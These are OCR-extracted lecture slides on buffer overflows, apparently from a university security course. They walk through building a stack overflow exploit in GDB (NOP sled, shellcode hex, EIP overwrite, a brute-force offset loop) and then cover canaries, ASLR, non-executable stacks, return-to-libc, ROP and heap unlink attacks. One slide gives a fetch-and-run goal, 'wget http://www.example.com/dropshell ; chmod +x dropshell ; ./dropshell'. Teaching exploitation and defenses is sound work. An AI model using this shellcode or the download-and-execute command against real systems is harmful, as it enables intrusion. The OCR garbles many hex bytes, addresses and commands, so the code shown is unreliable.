00000048 DE AD BE EF CAFEBABE+ ........
—9
- : Overwriting EIP value with If our exploit is correct, we should be able to see the
Overwriting EBP value with OxCAFEBABE

values OXDEADBEEF, ©xCAFEBABE when we inspect

OXDEADBEEF
the registers after the call to strcpy.

Note: In hexedit use CTRL+w to save and CTRL+x to quit.



Building the Exploit: Overwriting EBP and EIP

.' jerminal =3 O] [R7]
. Fle Edt View Terminal Tabs Help
Set a breakpoint at the — o® -a besic veln.o ® Run GDB on basic_vuln.o
memory address Of the Using host Libthread db library “/11b/t1s/1686/cmov/Libthread db.50.1"
A’II;I:‘;" break *main«4d
return instruction after !.v-::hpox". 1 ; U-f.-:»L;'»_")‘: file basic wuln line S
(QED) run Cat expiol
strcpy Comp|etes tarting program: /home/pac/bof/basic wiiln.o cat exploit
) E.rr.w‘;n]"" 1. ‘l!-l;‘t""}&f-."b in main (argc=Cannot access memory At address Gxefbeaded H ReaChed the brea kp0|nt
Run the program with our ) 8t besic_wuln.c:3
exploit file i) iafe registers R
eAx OxbffftIch 1073743936
> e - J— Notice that we did overwrite the EBP register, but it doesn’t
o bt e exactly say O©xDEADBEEF. This is because x86 is a little-
[=1e Buht B B b ¥
Inspect the registers [ete Sufbend 'JJ Safveatte | endian format which interprets bytes from right-to-left
“info registers” o e B <ot instead of big-endian which is how we normally read and
eflags v—iad ol write binary numbers from left-to-right.
o ‘ i If we wanted the address to be displayed as OxDE OxAD OxBE OxEF
—~ e we would have to write it as OxEF OxBE OxAD OxDE.
s Ox33 51
Continue running past the /ef'3"’-‘ « |
continuing . ene
breakpoint Segmentation fault caused by overwriting the
Program recelived signal SIGSEGY., Sex ntation fauyl o 5
bt — EIP register with the @©xBEBAFECA.

Quit

The program 1is

Quit GDB o—@)™"

running

o

\ Answer “y” to confirm quitting



Building the Exploit: Overwriting EBP and EIP

E Jerminal e limh i3l

File Edit View Terminal Tabs Help

00000000 90 90 90 90 90 90 960 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 W ........iiiiiiiiiiiaaaan
00000018 90 90 99 9% 90 9 31 CO6 31 DB31C9 31D2B06064 B3016864 2121 2168 ......1.1.1.1.....hd!'!''h
00000O360 4F 77 6E 65 B89 E1 B2068 (DB8OBOEOEL 31DBCDBO CCCCCCCC CcCCCCCCC Owne........ Lissssssenss
00000048 DE AD BE EF CAFEBABE+ ........
—e
5 e e ~ Overwriting EIP value with
OxXDEADBEEF
Jerminal
File Edit View Terminal Tabs Help
00000000 90 90 90 90 90 90 90 90 906 90 90 90 96 90 90 90 90 90 90 90 90 90 90 %W .........iiiiiiiiiiiaaan
0O00EO18 90 90 9 9 90 99 31 CO 31 DB31C9 31D2B06064 B3016864 21212168 ......1.1.1.1.....hd!'''h
00000030 4F 77 6E 65 89 E1 B268 (DB8OBOOL 31DBCDBO CCCCCCCC CCCCCCCC Owne........ Lsssuvenunns
0PPPPO48 EFBEADDE BEBAFELA DAL L.
l =
5 P "~ Overwriting EIP value with

OxXEFBEADDE



Building the Exploit: Overwriting EBP and EIP

. FHe Edt View Terminal Tabs Help )
Set a breakpoint at the ey ~—gr— 0 ® Run GDB on basic_vuln.o
memory address Of the Using host Libthread db Library “/LAb/t1s/1686/cmov/Libthread db.s0. 1"
. . {(gdb) break *main+40
return instruction after Breakpoint 1 at SxBO4839¢: file basic wiln.¢, line S
(gdb) run cat exploit
StGCy completes Starting program: /home/pac/bof/basic wuin.o ‘cat exploit

. Breakpoint 1, Gx0804839¢ in main (argo=Cannot access memory at address Oudeadbef? e—. Reached the breakpoint
Run the program with our ) at basic vuln.c:S

exploit file I?Jdbl iafo register cho ® Inspect the register EBP
_ : cbp B deadbee ! Osceadbee | “info register ebp”
Continue running past the ./Gégj“’;:w
breakpoint Segmentation fault caused by overwriting the

Program received signal SIGSEGY, Segmentation fault 0_—_.
Oxcafedabe in 77 () EIP register with the @©xCAFEBABE.

(gdb) x/11 Seip %ML! 1
Oxcafedabe Cannot aCCess 4% Oxcafebabe

Quit GDB o= (991 @it — The “x/li Seip” prints the address and

T ri , X Y 4 . . . . .
gy Ditewmt e ny corresponding instruction for a given register

oa..”n

Answer “y” to confirm quitting



Building the Exploit: Guessing EIP’s Value

OXFFFFFFFF

* Next, let’s figure out the address of our NOP
sled to set the EIP pointer to.

. . . . . argv EBP+12
* We can definitely select any location within o cres S
the NOP sled region. . Next Instruction esp+a S
: 5 Previous EBP EBP %
* To do so, we are going to see what happens & : esp-4 |3
to memory before and after the call to : _ 3
strcpy function call. 3 3
T
L
wos
ow EBP-72

0x00000000



Building the Exploit: Guessing EIP’s Value

Set a breakpoint at the
memory address before the
call to function strcpy.

Run the program with our
exploit file

Dump 64 bytes of the
current stack in hex format
starting at ESP (the current

stack pointer location)

Address OxBFFFF7CO is
the start of our NOP sled,
but let’s use @xBFFFF7C8
since it is safely in the
middle of our NOPs.

fle Edt View Terminal Tabs Help

pacgpac:-/bot § gdb -q basic win.o

Using host Libthread & Library “/11b/t1s/4686/cmov/1ibthread db,.s0.1",

(gdd) break *main+3d

Breakpoint 1 at OxBO4S396: file basic win.c, line 4,
(o) run cat exploit

Starting program: /home/pac/bof/basic win.o cat exploit

Breskpoint 1, OxDB048396 in main (arges2, argveixbffff894) at basic wln.c:de_. Reached the breakpoint

® Run GDB on basic_vuln.o

4 strepy(buf, argvil]):

(o) x/64bx Sesp

OxbIfrI7be: Bxchd xt7 Oxftf bt B x19 Bxbft

DI I7b8; 0x00 0x00 0x00 00 Oxed 0xB2 0x08

Oxdffffico: 0x00 0x00 0x00 ox0 S8 x9S 0x08

xDIrrI17¢cB: 0xa8 Ox17 %44 bt Gxba 082 0x68

{11700 0x29 Oxf? 0xf9 xb? x4 Okt Oxb?

I frr17o8: 0xB68 xT8 Gxtt Subft 9 0x83 0xB68

ORI 11760 Ox14 Ox6t Oxfd b7 Oxad xS Oxbf

(92) next 6 . .

S } (the strcpy call instruction)

(o) x/64bLx Sesp

ODIffI7ol: Oxcd Oxf7 Oxff Gxbf L s 0x19 Oxbt

xbfff17b8: Ox00 Ox00 x00 x0 Oxed 0x82 0x08 . .
IfIIc0:  0x90  0x00  0x90  0:90  0x390  0x0 590 exploit file content
xIffffich: 0x90 0x90 2x90 x50 oS0 Ox0 0x90 90 96 96 99 90 96 90 96 96 99 96 96 99 99 96 99 99 96 99 96 96
DIf11700: 0x90 6x90 6x90 el 0x50 x50 6x90 90 90 90 99 90 90 31 CO 31 DB 31 C9 31 D2 BO 64 B3 01 68 64 21
b f 111708 0x90 0x90 0x90 %0 %0 0% Oxcl 4F 77 6E 65 89 E1 B2 68 (D 80 BO 01 31 DB (D 80 CC CC CC CC CC
I 117¢0: 8x31 Bxdb &3l axc9 a3l a2 0xb4 EF BE AD DE BE BA FE CA
1178 Oxb3 0x01 0x68 Ol 21 x21 0x68

Quit

The program is running. Exit asyway? (y orn) y
pacgpac: - vot 5 )




Building the Exploit: Guessing EIP’s Value

m

File Edit View Terminal Tabs Help

00000000 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 96 90 90 90 90 %O .........iiiiiiiiiiiann
00000018 90 90 90 9% 90 9 31 C6 31DB31(C9 31D2B664 B3616864 21212168 ......1.1.1.1.....hd!!'h
00000030 4F 77 6E 65 B89 E1 B268 (D8O BOOL 31DBCD B8O CCCCCCCC CCCCCCCC Owne........

00000048 EF BEADDE CGBF7FFBF e

|

Overwriting EIP value with
OxBFFFF7C8

Remember that you need to store is in reverse byte order
because it will be interpreted as little-endian format.

At this point we could overwrite the EBP register (currently OxXDEADBEEF), but our exploit
doesn’t depend on the EBP register since we aren’t using any local variables or parameters
and for our purposes its not hurting anything so we’ll leave it as OxDEADBEEF.



Moment of Truth: Running the Exploit

Jerminal
file Edit View Terminal Tabs Help

pacgpac:-/bof § gdb -q basic vuln.o

Using host libthread db library */1ib/tls/1686/cmov/1ibthread db.so.1".
(gdb) run cat exploit

o . el c
rogram: /home/pac/bof/basic vuln.o "cat exploit”  Run the program with our exploit file
Owned!!! | '
T

ogram exited normally.
(gdb) quit
pacgpac:-/bot § |§

® Run GDB on basic_vuln.o




Running the Exploit outside GDB

B

File Edit View Terminal Tabs Help

pac@pac:~/bof § ./basic vuln.o "cat exploit’
Segmentation fault
pacgpac:~/bof $

This is because the offsets are slightly different as a result of the debugger adding
instrumentation. So how do we calculate the new offsets?

* Proprietary software is always compiled without debug options, so we might want to re-compile the
basic_vuln.c code without the “-g” option.

* Note that for this lab we left debug options enabled because it makes debugging significantly easier.

pac@pac:~ $ gcc basic vuln.c -0 basic vuln.o

pac@pac:~ $ '



Running the Exploit outside GDB

Copy exploit file into
final-exploit file

—0

fle Edt View Terrmunal Taps

$ 9cc basic win.c -0 basic win.0 o

PRCILAC
paCHpac :
pacipac :

1. ./basic win.0o cat final.-exploit

Word offset
Word offset
Word offset
Word offset
Word offset
Word offset
Word offset
Word offset
Word offset
Word offset
Word offset
Word offset
Word offset
wWord offset
Word offset
Word offset
Word offset
Word offset
wWord offset

Word offset
PRI

5 ¢p exploit final.explodt

(1)
(2]
(3)
(4)
(5)
(6)
(7)
(8]
(9)
(18]
(1]
[12]
(13]
[14]
(15]
[16]
(7]
(18]
(19

[(29]

for 1 in $(seq 1 20); do primtf “\rkord offset [$1] result: *; perl -e ‘print "D FN\xFPBEF"' > final-explol
: done

result:

result:

result:
result:
result:
result:
result:
result:;
result:

result:
result;

result:

result:

result:

result:

result:

result:

result:

result;

result:

Segmentation fault

Segmentation fault

Ownea! !

Owneg!!!

Ownea!!!

Owned! ! !

Owned!!!

Ownea! ! !

Owned!!!
Owmea! !
Trace/breskpoint
Trace/breabpoint
Trace/breakpoint
Trace/breskpoint
Trace/breskpoint
Trace/breabpoint
Trace/bresipoint
Trace/breskpoint
Segmentation faul

Segmentation faul

Help

trap
trap
trap
trap
trap
trap
trap
trap
L

t

® Compile without debug options

~—@ Iterate 20 times by appending the
final-exploit file with @xBFFFF7D8

Brute force a targeted search space. Since we don’t care what
registers we overwrite as long as we eventually overwrite the
EIP return address, we could try writing a script to spam the
target return address at the end of our payload.




BUFFER OVERFLOW
DEFENSES &
COUNTERMEASURES

-------------------------------------------------------------------------------------------------------

The following slides are adopted from CMSC414 course by Dave Levin
(https://www.cs.umd.edu/class/spring2019/cmsc414/)
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RECALL OUR CHALLENGES

.......................................................................................................

How can we make these even more difficult?

 Putting code into the memory (no zeroes)
* Finding the return address (guess the raw address)

* Getting %eip to point to our code (dist buff to stored eip)



Writing Secure Code

* The root cause of buffer overflows is not the operating system itself,
but rather insecure programming practices.

* Programmers must be educated about the risks of insecurely copying
not bounded user-supplied data into allocated memory.

* Many popular programming languages, including C and C++, are
susceptible to this attack, but other languages do not allow the
behavior that makes buffer overflow attacks possible.

 Safer C Dialects: Various safe dialects of C have been designed and
implemented in academic circles but are not widely used in industry



Safe C Dialects

Unbounded Function:
Standard C Library

Bounded Equivalent:
Standard C Library

Bounded Equivalent:
Windows Safe CRT

char =
gets(char =dst)

int

scanf(const char «FMT
[, arg, ...])

int

sprintf(char sstr,
const char «FMT
[, arg, ...])

char «
strcat(char sstr,
const char «SRC)

char «
strcpy(char «dst,
const char «SRC)

char =

fgets(char =dst,
int bound,
FILE =FP)

None

int

snprintf(char sstr,
size_t bound,
const char =FMT,
(, arg, ...])

char =

strncat(char =dst,
const char «SRC,
size_t bound)

char o

strncpy(char sdst,
const char «SRC,
size_t bound)

char =
gets_s(char «s,
size_t bound)

errno_t

scanf_s(const char «FMT
[, ARG,
size_t bound,
eee])

errno_t

sprintf_s(char =dst,
size_t bound,
const char =FMT
[, arg, ...]) w

errno_t

strcat_s(char =dst,
size_t bound,
const char «SRC)

errno_t

strcpy_s(char =dst,
size_t bound,
const char «SRC)




Writing Secure Code

#ginclude <stdio.h> #include <stdio.h>
int mainlint argc, char * argv()) int main(int argc, char * argv{])
{ {
// Create a buffer on the stack // Create a buffer on the stack
char buf{256]; char buf[256];
I/l Does not check length of buffer before copying argument /Il Only copies as much of the argument as can fit in the buffer
strepy (buf,argv(1)); strncpy(buf, argv(1], sizeof(buf));
// Print the contents of the buffer /I Print the contents of the buffer

printf(*%s\n" buf); printf("%s\n",buf);
return 1; return 1;




Writing Secure Code

void vulnerable() void safe()

{ {
char buf[80];
gets(buf);

char buf[80];
fgets(buf, 64, stdin);

void still vulnerable() void safer()

{ {

char *buf = malloc(80); char buf([80];
gets(buf); fgets(buf, sizeof(buf), stdin);




RECALL OUR CHALLENGES

.......................................................................................................

How can we make these even more difficult?

 Putting code into the memory (no zeroes)
* Finding the return address (guess the raw address)

* Getting %eip to point to our code (dist buff to stored eip)



Detecting Buffer Overflow with Canaries

Program Counter Delay Play Stop Step Forward Reset Input: ABCDEFGHID
#include <stdio.h> Enter something:
ABCDEFGHIJ

typedef char t_STRING[10];

. . Next character must overwrite stack canary
void get_string(t_STRING str) *? before it overwrites return pointer *$’!

: 0123456789ABCDEF
puts ou entered:");

puts(str);

void forbidden_function()

puts("0Oh, bother.");

void main()
t_STRING my_string = "Hello.";

puts(“"Enter something:");
get_string(my_string);

t

Now Is where you can use the text box above to give Input to the program and click ‘Play”’ or "'Step Forward' to resume

TMMOAEIPOONIINEWNMMND

StackGuardDemo. jar



Detecting Buffer Overflow with Canaries

* One prevention technique is to reorganize the stack data allotted to
programs and incorporates a canary, a value that is placed between a
buffer and control data (which plays a similar role to a canary in a coal
mine).

* The system regularly checks the integrity of this canary value, and if
it has been changed, it knows that the buffer has been overflowed
and it should prevent malicious code execution.



Detecting Buffer Overflow with Canaries

void simple() {
int a; /*integer*/
int *b; /*pointer to integer*/
char c[10); /*character array*/

return
- b . addjfss Normal (safe) stack configuration:
~ A - = :
e Other local | canary | Return
OxX<return> : Buffer variables | (random) | address Other data
return &
a c cana address

Py G S A i Ary _— A - Buffer overflow attack attempt:

T T T T T
. —— - : i _
___________ -




DETECTING OVERFLOWS WITH CANARIES

-------------------------------------------------------------------------------------------------------




DETECTING OVERFLOWS WITH CANARIES

-------------------------------------------------------------------------------------------------------




DETECTING OVERFLOWS WITH CANARIES

-------------------------------------------------------------------------------------------------------




DETECTING OVERFLOWS WITH CANARIES

$eip

buffer = canar Y



DETECTING OVERFLOWS WITH CANARIES

$eip

buffer = canar Y



DETECTING OVERFLOWS WITH CANARIES

teip Not the expected value: abort

buffer = canar Y



DETECTING OVERFLOWS WITH CANARIES

teip Not the expected value: abort

Oxbdf Inop nop nop .., \x0f \x3c \x2f ... l

buffer canary

What value should the canary have?



CANARY VALUES

.......................................................................................................

From StackGuard [Wagle & Cowan]

1. Terminator canaries (CR, LF, NULL, -1)
» Leverages the fact that scanf etc. don't allow these

2. Random canaries
» Write a new random value @ each process start
« Save the real value somewhere in memory
« Must write-protect the stored value

3. Random XOR canaries
« Same as random canaries
» But store canary XOR some control info, instead



RECALL OUR CHALLENGES

How can we make these even more difficult?

 Putting code into the memory (no zeroes)
Option: Make this detectable with canaries

* Finding the return address (guess the raw address)

* Getting %eip to point to our code (dist buff to stored eip)



ADDRESS SPACE LAYOUT RANDOMIZATION

-------------------------------------------------------------------------------------------------------

Set when Oxffffffff
pl’OCGSS starts int £() {
int x;
Runtime -
malloc(sizeof(long));
static int x;
Known at

. . static const int y=10;
compile time

0 0x00000000

Randomize where exactly these regions start



ADDRESS SPACE LAYOUT RANDOMIZATION

.......................................................................................................

On the Effectivaness of Address-Space Randomization  Shortcomings of ASLR
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RECALL OUR CHALLENGES

How can we make these even more difficult?

 Putting code into the memory (no zeroes)
Option: Make this detectable with canaries

* Finding the return address (guess the raw address)
Address Space Layout Randomization (ASLR)

* Getting %eip to point to our code (dist buff to stored eip)



GETTING %EIP TO POINT TO OUR CODE

-------------------------------------------------------------------------------------------------------

Recall that all memory has Read, Write, and Execute permissions

4G Oxffffffff
Must be But does it
readable & need to be
writeable ~ executable?
Basic idea:
make the stack
non-executable
Must be
executable

0 0x00000000




Non-executable Memory Segments

* Prevent running code on the stack by enforcing a no-execution
permission on the stack segment of memory.

* |f the attacker’s shellcode were not able to run, then exploiting an application
would be difficult.

* Finally, many operating systems now feature address space layout
randomization (ASLR), which rearranges the data of a process’s
address space at random, making it extremely difficult to predict
where to jump in order to execute code.



Non-executable Memory Segments

* Despite these protection mechanisms, researchers and hackers alike
have developed newer, more complicated ways of exploiting buffer
overflows.

* For example, popular ASLR implementations on 32-bit Windows and
Linux systems have been shown to use an insufficient amount of
randomness to fully prevent brute-force attacks, which has required
additional techniques to provide stack-smashing protection.



Other Attack Techniques: Trampolining

* NOP sledding makes stack-based buffer overflows much more likely to
succeed, however, they still require a good deal of guesswork and are not
extremely reliable.

* jump-to-register or trampolining, is considered more precise.

* On initialization, most processes load the contents of external libraries into
their address space.

* These external libraries contain instructions that are commonly used by
many processes, system calls, and other low-level operating system code.
Because they are loaded into the process’s address space in a reserved
section of memory, they are in predictable memory locations.

e Attackers can use knowledge of these external libraries to perform a trampolining
attack.



Other Attack Techniques: Trampolining

* For example, an attacker might be aware of a particular assembly code
instruction in a Windows core system DLL and suppose this instruction tells
the processor to jump to the address stored in one of the processor’s
registers, such as ESP.

* If the attacker can manage to place his malicious code at the address pointed to by
ESP and then overwrite the return address of the current function with the address
of this known instruction, then on returning, the application will jump and execute
the jmp esp instruction, resulting in execution of the attacker’s malicious code.

* Once again, specific examples will vary depending on the application and
the chosen library instruction, but in general this technique provides a
reliable way to exploit vulnerable applications that is not likely to change
on subsequent attempts on different machines, provided all of the
machines involved are running the same version of the operating system.



Other Attack Techniques: Return-to-libc

e A return-to-libc attack, also uses the external libraries loaded at
runtime—in this case, the functions of the C library, libc.

* |f the attacker can determine the address of a C library function within a
vulnerable process’s address space, such as system() or execy, this
information can be used to force the program to call this function.

* The attacker can overflow the buffer as before, overwriting the return
address with the address of the desired library function.

* Following this address, the attacker must provide a new address that the libc
function will return to when it is finished execution (this may be a dummy
address if it is not necessary for the chosen function to return), followed by
addresses pointing to any arguments to that function.



Other Attack Techniques: Return-to-libc

* When the vulnerable stack frame returns, it will call the chosen
function with the arguments provided, potentially giving full control
to the attacker.

* This technique has the added advantage of not executing any code on the
stack itself.

* The stack only contains arguments to existing functions, not actual shellcode.
Therefore, this attack can be used even when the stack is marked as
nonexecutable.



RETURN TO LIBC

-------------------------------------------------------------------------------------------------------

Exploit:  Oracle Buffer Overflow. We create a butfer overfiow in
Apache similar to one fonnd in Oracle 9 10, 22). Specifically,
we add the following lines to the function ap.getline() in
hetep _protocol . c:

char buflsd);

strepy(buf,e); /+ Ovexrflow buffer =/



RETURN TO LIBC

-------------------------------------------------------------------------------------------------------

Exploit:  Oracle Buffer Overflow. We create a butfer overfiow in
Apache similar to one fonnd in Oracle 9 10, 22). Specifically,
we add the following lines to the function ap.getline() in

htetp_protocol.c:

char buflsd);

strepy(buf,e); /+ Ovexrflow buffer =/

Preferred: strlcpy

char buf[4];
strncpy(buf, “hello!”, sizeof(buf)); buf = {*h’, e’ 1", I}
stricpy(buf, “hello!”, sizeof(buf));  buf = ‘', ‘e’, ‘I’, "0’}




RETURN TO LIBC

.......................................................................................................

EXplOit: Oracle Buffer Overflow. We create a buffer overflow in
Apache similar to one found in Oracle 9 10, 22, Specifically,
we add the following lines to the function ap.getline() in
http protocol.c:

char buflsd);

strepy(buf,e); /+ Overflow buffer =/

Goal: system(“wget http://www.example.com/dropshell ;
chmod +x dropshell ;
./dropshell”);

Challenge: Non-executable stack

Insight: “system” already exists somewhere in libc



RETURN TO LIBC

ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo

T buffer
$eip

stack frame



RETURN TO LIBC

-------------------------------------------------------------------------------------------------------

padding

I text ' Oxbdf Oxbdf Oxbdf ...

T buffer
$eip

stack frame



RETURN TO LIBC

-------------------------------------------------------------------------------------------------------

good
padding guess

\ text ' Oxbdf Oxbdf Oxbdf ...

buffer _
stack frame

$eip



RETURN TO LIBC

.......................................................................................................

good
padding guess nop sled

I text ! Oxbdf Oxbdf Oxbdf ... nop NOp Nop .

buffer _
stack frame

$eip



RETURN TO LIBC

.......................................................................................................

good
padding guess nop sled malicious code

nNOP NOP NOP .. \x0f \x3c \x2f ...

buffer .




RETURN TO LIBC

.......................................................................................................

good
padding guess nop sled malicious code

I text n Oxbdf Oxbdf Oxbdf ... _ o) nop nop nop .. | \x0f \x3c \x2f ...

buffer

stack frame



RETURN TO LIBC

.......................................................................................................

good
padding guess nop sled malicious code

I text n Oxbdf Oxbdf Oxbdf ... {=5N8+] nop nop nop .. \x0f \x3c \x2f ...

buffer

stack frame

$eip

PANIC: address not executable



RETURN TO LIBC

-------------------------------------------------------------------------------------------------------

libc

I text '

T buffer
$elip



RETURN TO LIBC

.......................................................................................................

- usleep() l printf () - system( )

padding

T buffer
$eip



RETURN TO LIBC

.......................................................................................................

T buffer



RETURN TO LIBC

.......................................................................................................

libe

3 usleep() I printf() - system( )

padding arguments

T buffer
$eip



RETURN TO LIBC

.......................................................................................................

libe

3 usleep() I printf() - system( )

How do we guess this address?

padding arguments

T buffer
$eip



RETURN TO LIBC

.......................................................................................................

How do we guess this address?

arguments

wget example.com/...

T buffer

How do we ensure these are the args?



ARGUMENTS WHEN WE ARE SMASHING %EBP?

.......................................................................................................

arguments

$eip $esp $ebp

leave: mov %ebp %esp
pop %ebp
ret: pop %eip



ARGUMENTS WHEN WE ARE SMASHING %EBP?

.......................................................................................................

arguments

$eip $esp $ebp

leave: mov %ebp %esp
pop %ebp
ret: pop %eip



ARGUMENTS WHEN WE ARE SMASHING %EBP?

.......................................................................................................

arguments

$eip $esp $ebp

leave: mov %ebp %esp
pop %ebp
ret: pop %eip



ARGUMENTS WHEN WE ARE SMASHING %EBP?

.......................................................................................................

arguments

leave:® mov %ebp %esp
T pop %ebp
%esp ret: pop %eip



ARGUMENTS WHEN WE ARE SMASHING %EBP?

.......................................................................................................

arguments

$ebp%esp

leave: mov %ebp %esp
% pop %ebp
ret: pop %eip



ARGUMENTS WHEN WE ARE SMASHING %EBP?

.......................................................................................................

arguments

buffer
$eiptebp $esp

leave: mov %ebp %esp
% pop %ebp

ret: pop %eip

At this point, we can’t reliably access local variables



ARGUMENTS WHEN WE ARE SMASHING %EBP?

.......................................................................................................

arguments

buffer
teip¥ebp gesp

leave: mov %ebp %esp
pop %ebp

ret: < pop %eip

At this point, we can’t reliably access local variables



ARGUMENTS WHEN WE ARE SMASHING %EBP?

.......................................................................................................

%eip system:ppushl %ebp
l movl %esp, %ebp

arguments

$esp

leave: mov %ebp %esp

pop %ebp
ret: pop %eip



ARGUMENTS WHEN WE ARE SMASHING %EBP?

.......................................................................................................

%eip system:ppushl %ebp
l movl %esp, %ebp

¥esp

leave: mov %ebp %esp
pop %ebp
ret: pop %eip



ARGUMENTS WHEN WE ARE SMASHING %EBP?

.......................................................................................................

%eip system: pushl %ebp
l $movl %tesp, %ebp

$esp

$ebp



ARGUMENTS WHEN WE ARE SMASHING %EBP?

.......................................................................................................

%eip system: pushl %ebp
l $movl %tesp, %ebp

Will expect args at 8(%ebp)

arguments

DEADBEXY DEADBEEY

$esp

$ebp



ARGUMENTS WHEN WE ARE SMASHING %EBP?

.......................................................................................................

%eip system: pushl %ebp
l $movl %esp, tebp

$esp

$ebp



ARGUMENTS WHEN WE ARE SMASHING %EBP?

.......................................................................................................

%eip system: pushl %ebp
l $movl %esp, tebp

arguments

$esp

At this point, we can
T reliably access local variables

$ebp



RETURN TO LIBC

.......................................................................................................

How do we guess this address?

arguments

wget example.com/...

T buffer

How do we ensure these are the args?



RETURN TO LIBC

.......................................................................................................

libe

usleep() I printf() - system( )

How do we guess this address?

padding arguments

wget example.com/...

T buffer
$eip

How do we ensure these are the args?

By prepending 4 byte padding



INFERRING ADDRESSES WITH ASLR

.......................................................................................................

arguments

oooooo 0x01010101

T buffer



INFERRING ADDRESSES WITH ASLR

T buffer



INFERRING ADDRESSES WITH ASLR

.......................................................................................................

Repeatedly guess the address of usleep

arguments

uuuuuu 0x01010101

T buffer
%ej_p 0x01010101 = smallest number w/o 0-byte
=~ 16 million == 16 sec of sleep

Wrong guess of usleep = crash; retry
Correct guess of usleep = response in 16 sec



INFERRING ADDRESSES WITH ASLR

.......................................................................................................

- usleep() l printf () - system( )

Repeatedly guess the address of usleep

arguments

I text . AARAAAARAAAAAAAA  DEADSEEY 0x01010101
T buffer
$eip 0x01010101 = smallest number w/o 0-byte
, =~ 16 million == 16 sec of sleep
Why this works
Every connection causes a fork; Wrong guess of usleep = crash; retry

fork() does not re-randomize ASLR  Correct guess of usleep = response in 16 sec



RETURN TO LIBC

.......................................................................................................

libe

usleep() I printf() - system( )

How do we guess this address?

By first guessing usleep
padding arguments

wget example.com/...

T buffer
$eip

How do we ensure these are the args?

By prepending 4 byte padding



DEFENSE: JUST GET RID OF SYSTEM()?

.......................................................................................................

3 usleep() l printf () - system( )

padding arguments

T buffer
. system()
telip Idea: Remove any function call that exec()
(a) is not needed and connect ()

(b) could wreak havoc open()



RETURN-ORIENTED PROGRAMMING

-------------------------------------------------------------------------------------------------------

el Joometey ofkmoceat Plosh un the Bone: Shortcomings of removing
functions from libc
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RECALL OUR CHALLENGES

.......................................................................................................

How can we make these even more difficult?

 Putting code into the memory (no zeroes)
Option: Make this detectable with canaries

» Getting %eip to point to our code (dist buff to stored eip)
Non-executable stack doesn’t work so well

* Finding the return address (guess the raw address)
Address Space Layout Randomization (ASLR)

Best defense: Good programming practices



Virtual Execution Environments

* Adds a layer between the program and its execution environment by
running it inside a specially designed virtual machine (VM).

 The VM identifies anomalous behavior in the sequence of instructions
executed at runtime.

* The potential benefits of the approach are obvious: no modification
to the existing development process, compilation, or binary itself is
required, and security checks are enforced in a flexible fashion.

* On the downside, because the protected program must run in a
virtual environment with many of its instructions incurring a
monitoring overhead, performance costs are hard to predict.



Heap-Based Buffer Overflow Attacks



Heap-Based Buffer Overflow Attacks

* Recall that memory on the stack is either allocated
statically, which is determined when the program S
is compiled, or it is allocated and removed l
automatically when functions are called and 1
returned. Dynamic
* However, it is often desirable to give programmers
the power to allocate memory dynamically and S
have it persisted across multiple function calls. O
* This memory is allocated in a large portion of unused
memory known as the heap. Text




Heap-Based Buffer Overflow Attacks

* Dynamic memory allocation presents potential problems for

programmers:

* |f programmers allocate memory on the heap and do not explicitly deallocate
(free) that block, it remains used and can cause memory leak problems.

* From a security standpoint, the heap is subject to similar problems as the
stack; A program that copies user-supplied data into a block of memory
allocated on the heap in an unsafe way can result in overflow conditions,
allowing an attacker to execute arbitrary code on the machine.



Heap-Based Buffer Overflow Attacks

ginclude <stdio.h>
tinclude <stdlib.h>
ginclude <string.h>

#sinclude <stdio.h>
ginclude <stdlib.h>
#include <string.h>

int main(int arge, char *argv[])
{
/I Allocate two adjacent blocks on the heap
char *buf = malloc{256);
char *"buf2 = malloc(16);
// Only copies as much of the argument as can fit in the buffer
strncpy(buf, argv|1], 255);
/I Print the argument
printf("Argument: ¥%s\n", buf);
// Free the blocks on the heap

int main(int argc, char *argv|))
{
/I Allocate two adjacent blocks on the heap
char *buf = malloc(256);
char *buf2 = malloc(16);
// Does not check length of buffer before copying argument
strepy(buf, argv[1]);
/! Print the argument
printf(*Argument: %s\n*, buf);
// Free the blocks on the heap

free(buf); free(buf);
free(buf2); free(buf2);
return 1; return 1;




Heap-Based Buffer Overflow Attacks

* Heap-based overflows are generally more complex than the more
prevalent stack-based buffer overflows and require a more in-depth
understanding of how garbage collection and the heap are

implemented.
* Unlike the stack, which contains control data that if altered changes the
execution of a program, the heap is essentially a large empty space for data.
e Rather than directly altering control, heap overflows aim to either alter data
on the heap or abuse the functions and macros that manage the memory on
the heap in order to execute arbitrary code.



An Example Heap-Based Overflow Attack

* Let us consider an older version of the GNU compiler (GCC)
implementation of malloc, the function that allocates a block of
memory on the heap.

* In this implementation, free blocks of memory on the heap are
maintained as into circular double-linked lists (bins).

e Each chunk on a free list contains forward and back pointers to the
next and previous free chunks in the list.



An Example Heap-Based Overflow Attack

When a block is marked as free, the
unlink macro is used to set the
pointers of the adjacent blocks to
point to each other, effectively
removing the block from the list and
allowing the space to be reused

Forward pointer to first chunk in list

Back pointer to last chunk in list

\

» Size or last 4 bytes of prev.

Size

Forward pointer to next

head
element

Back pointer to prev.

Unused space

Size

Size or last 4 bytes of prev.

Size

Forward pointer to next

Back pointer to prev.

Unused space

Size

\

Size or last 4 bytes of prev.

Size

Forward pointer to next

Back pointer to prev.




An Example Heap-Based Overflow Attack

Links After
Freeing Memory

Links Before
Freeing Memory

Size or last 4 bytes of prev.
Size
Forward pointer to next
Back pointer to prev.
Unused space
Size

Size or last 4 bytes of prev.

Forward pointer to next

Back pointer to prev.

Unused space
Size

Size or last 4 bytes of prev.

Size [1]

Forward pointer to next
Back pointer to prev.

<-BK (2)

(3)

Freed Memory

unlink routine

(1) FD = P->fd;
(2) BK = P->bk;
(3) FD->bk = BK;

(4) BK->fd = FD;




An Example Heap-Based Overflow Attack*

* A program’s heap is usually managed by the Clibrary T
functions malloc and free. \->bk=B =

* The heap is divided into groups of free blocks of similar T
size, and blocks in each group are organized using a v
doubly linked list.

* For efficiency reasons, the forward pointer, fd, and ] Soeli=A P
backward pointer, bd, that maintain the doubly linked (free block B
lists are stored at the beginning of each free block.

* An attacker can exploit unchecked heap buffer C-otk = ¥
vulnerabilities to change these pointers and thereby seize oo st
control of the program. (a) initial state

*Xu, Jun, Zbigniew Kalbarczyk, and Ravishankar K. lyer. "Transparent runtime randomization for security." In 22nd
International Symposium on Reliable Distributed Systems, 2003. Proceedings., pp. 260-269. IEEE, 2003.



An Example Heap-Based Overflow Attack

'\ :-M; =H - Al =n( =

(free blixk A) free bk A
| LU+B
IBkck 1nuwe) (mereed block
